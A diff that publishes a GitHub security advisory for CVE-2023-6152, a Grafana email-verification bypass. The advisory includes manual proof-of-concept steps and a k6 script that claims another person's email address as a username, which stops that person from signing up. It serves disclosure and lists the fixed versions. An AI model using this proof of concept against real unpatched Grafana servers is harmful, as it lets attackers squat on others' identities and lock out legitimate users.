Publish GHSA-3hv4-r2fm-h27f

advisories/github-reviewed/2024/02/GHSA-3hv4-r2fm-h27f/GHSA-3hv4-r2fm-h27f.json

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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-3hv4-r2fm-h27f",
+  "modified": "2024-02-13T22:25:10Z",
+  "published": "2024-02-13T22:25:10Z",
+  "aliases": [
+    "CVE-2023-6152"
+  ],
+  "summary": "Email Validation Bypass And Preventing Sign Up From Email's Owner",
+  "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of [email protected] to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  [email protected]\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [[email protected]](mailto:[email protected])\n* Signout.\n* Try to sign up with email [[email protected]](mailto:[email protected])\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: 'per-vu-iterations',\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email [email protected]\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"[email protected]\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  group(\"change user_a login to [email protected]\", () => {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"[email protected]\",\n      \"login\": \"[email protected]\", // user_b email.\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email [email protected]\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"[email protected]\",\n      \"username\": \"[email protected]\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.\n",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/grafana/grafana"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "2.5.0"
+            },
+            {
+              "fixed": "9.5.16"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/grafana/grafana"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "10.0.0"
+            },
+            {
+              "fixed": "10.0.11"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/grafana/grafana"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "10.1.0"
+            },
+            {
+              "fixed": "10.1.7"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/grafana/grafana"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "10.2.0"
+            },
+            {
+              "fixed": "10.2.4"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/grafana/grafana"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "10.3.0"
+            },
+            {
+              "fixed": "10.3.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/grafana/grafana"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-863"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-02-13T22:25:10Z",
+    "nvd_published_at": null
+  }
+}